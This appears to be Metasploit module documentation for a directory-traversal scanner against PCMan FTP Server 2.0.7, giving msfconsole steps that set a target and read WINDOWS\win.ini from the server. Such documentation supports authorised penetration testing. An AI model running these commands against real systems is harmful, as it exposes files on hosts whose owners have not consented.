Linked to software download Exploit-DB

Verification Steps

  1. Start msfconsole

  2. Do: use modules/auxiliary/scanner/ftp/pcman_ftp_traversal

  3. Do: set RHOSTS [ip]

  4. Do: run

Scenarios

PCMan FTP Server 2.0.7 on Windows 7 (X64)

msf > use modules/auxiliary/scanner/ftp/pcman_ftp_traversal
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > show options
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set RHOST 1.1.1.1
  rhost => 1.1.1.1
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set PATH WINDOWS\\win.ini
  PATH => WINDOWS\win.ini
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > run
